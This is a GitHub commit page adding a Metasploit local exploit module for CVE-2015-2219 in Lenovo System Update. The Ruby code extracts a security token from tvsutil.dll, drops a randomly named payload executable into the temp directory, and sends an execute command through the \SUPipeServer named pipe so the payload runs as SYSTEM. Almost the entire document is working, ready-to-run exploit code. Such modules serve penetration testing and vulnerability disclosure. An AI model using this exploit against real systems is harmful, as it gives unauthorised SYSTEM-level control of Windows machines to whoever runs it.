Skip to content

Commit bba261a

Browse files
committed
Initial version
1 parent 4aa8344 commit bba261a

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit3 < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::EXE
10+
include Msf::Post::File
11+
include Msf::Exploit::FileDropper
12+
include Msf::Post::Windows::Priv
13+
include Msf::Post::Windows::Services
14+
15+
def initialize(info={})
16+
super(update_info(info, {
17+
'Name' => 'Lenovo System Update Privilege Escalation',
18+
'Description' => %q{
19+
The named pipe, \SUPipeServer, can be accessed by normal users to interact
20+
with the System update service. The service provides the possibility to execute
21+
arbitrary commands as SYSTEM if a valid security token is provided. This token can
22+
be generated by calling the GetSystemInfoData function in the DLL tvsutil.dll
23+
24+
Please note that the System Update is stopped by default but can be started/stopped calling
25+
the Executable ConfigService.exe
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'Micahel Milvich', # vulnerability discovery, advisory
31+
'Sofiane Talmat', # vulnerability discovery, advisory
32+
'h0ng10' # Metasploit module
33+
],
34+
'Arch' => ARCH_X86,
35+
'Platform' => 'win',
36+
'SessionTypes' => ['meterpreter'],
37+
'DefaultOptions' =>
38+
{
39+
'EXITFUNC' => 'thread',
40+
},
41+
'Targets' =>
42+
[
43+
[ 'Windows', { } ]
44+
],
45+
'Payload' =>
46+
{
47+
'Space' => 2048,
48+
'DisableNops' => true
49+
},
50+
'References' =>
51+
[
52+
['OSVDB', '121522'],
53+
['CVE', '2015-2219'],
54+
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
55+
],
56+
'DisclosureDate' => 'Apr 12 2015',
57+
'DefaultTarget' => 0
58+
}))
59+
60+
register_options([
61+
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
62+
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
63+
], self.class)
64+
65+
end
66+
67+
def check
68+
os = sysinfo['OS']
69+
70+
unless os =~ /windows/i
71+
return Exploit::CheckCode::Safe
72+
end
73+
74+
svc = service_info('SUService')
75+
if svc && svc[:display] =~ /System Update/
76+
vprint_good("Found service '#{svc[:display]}'")
77+
return Exploit::CheckCode::Appears
78+
else
79+
return Exploit::CheckCode::Safe
80+
end
81+
end
82+
83+
84+
def write_named_pipe(pipe, command)
85+
invalid_handle_value = 0xFFFFFFFF
86+
87+
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
88+
handle = r['return']
89+
90+
if handle == invalid_handle_value
91+
fail_with(Failure::NoTarget, "\\\\.\\pipe\\SUPipeServer named pipe not found")
92+
else
93+
vprint_good("Opended \\\\.\\pipe\\SUPipeServer! Proceeding...")
94+
end
95+
96+
# First, write the string length as Int32 value
97+
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
98+
99+
if w['return'] == false
100+
print_error('The was an error writing to pipe, check permissions')
101+
return false
102+
end
103+
104+
# Then we send the real command
105+
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
106+
107+
if w['return'] == false
108+
print_error('The was an error writing to pipe, check permissions')
109+
return false
110+
end
111+
112+
true
113+
end
114+
115+
116+
def get_security_token(lenovo_directory)
117+
if not client.railgun.get_dll('tvsutil') then
118+
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
119+
client.railgun.add_function("tvsutil", "GetSystemInfoData", "DWORD", [["PWCHAR","systeminfo","out"]], windows_name = nil, calling_conv = "cdecl")
120+
end
121+
122+
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
123+
return dll_response['systeminfo'][0,40]
124+
end
125+
126+
127+
def config_service(lenovo_directory, option)
128+
cmd_exec(lenovo_directory + "ConfigService.exe #{option}")
129+
end
130+
131+
132+
def exploit
133+
if is_system?
134+
fail_with(Failure::NoTarget, 'Session is already elevated')
135+
end
136+
137+
su_directory = service_info('SUService')[:path][1..-15]
138+
139+
print_status("Starting service via ConfigService.exe")
140+
config_service(su_directory, "start")
141+
print_status("Giving the service some time to start...")
142+
sleep(datastore['sleep'])
143+
144+
print_status("Getting security token...")
145+
token = get_security_token(su_directory)
146+
vprint_good("Security token is: #{token}")
147+
148+
149+
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
150+
temp_dir = datastore['WritableDir']
151+
else
152+
temp_dir = client.sys.config.getenv('TEMP')
153+
end
154+
155+
print_status("Using #{temp_dir} to drop malicious exe")
156+
157+
begin
158+
cd(temp_dir)
159+
rescue Rex::Post::Meterpreter::RequestError
160+
session.railgun.kernel32.CloseHandle(handle)
161+
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
162+
end
163+
164+
print_status('Writing malicious exe to remote filesystem')
165+
write_path = pwd
166+
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
167+
168+
begin
169+
write_file(exe_name, generate_payload_exe)
170+
register_file_for_cleanup("#{write_path}\\#{exe_name}")
171+
rescue Rex::Post::Meterpreter::RequestError
172+
session.railgun.kernel32.CloseHandle(handle)
173+
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
174+
end
175+
176+
print_status('Sending Execute command to update service')
177+
178+
begin
179+
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
180+
rescue Rex::Post::Meterpreter::RequestError
181+
session.railgun.kernel32.CloseHandle(handle)
182+
fail_with(Failure::Unknown, 'Failed to write to pipe')
183+
end
184+
185+
unless write_res
186+
fail_with(Failure::Unknown, 'Failed to write to pipe')
187+
end
188+
189+
print_status("Stopping service via ConfigService.exe")
190+
config_service(su_directory, "stop")
191+
end
192+
193+
end

0 commit comments

Comments
 (0)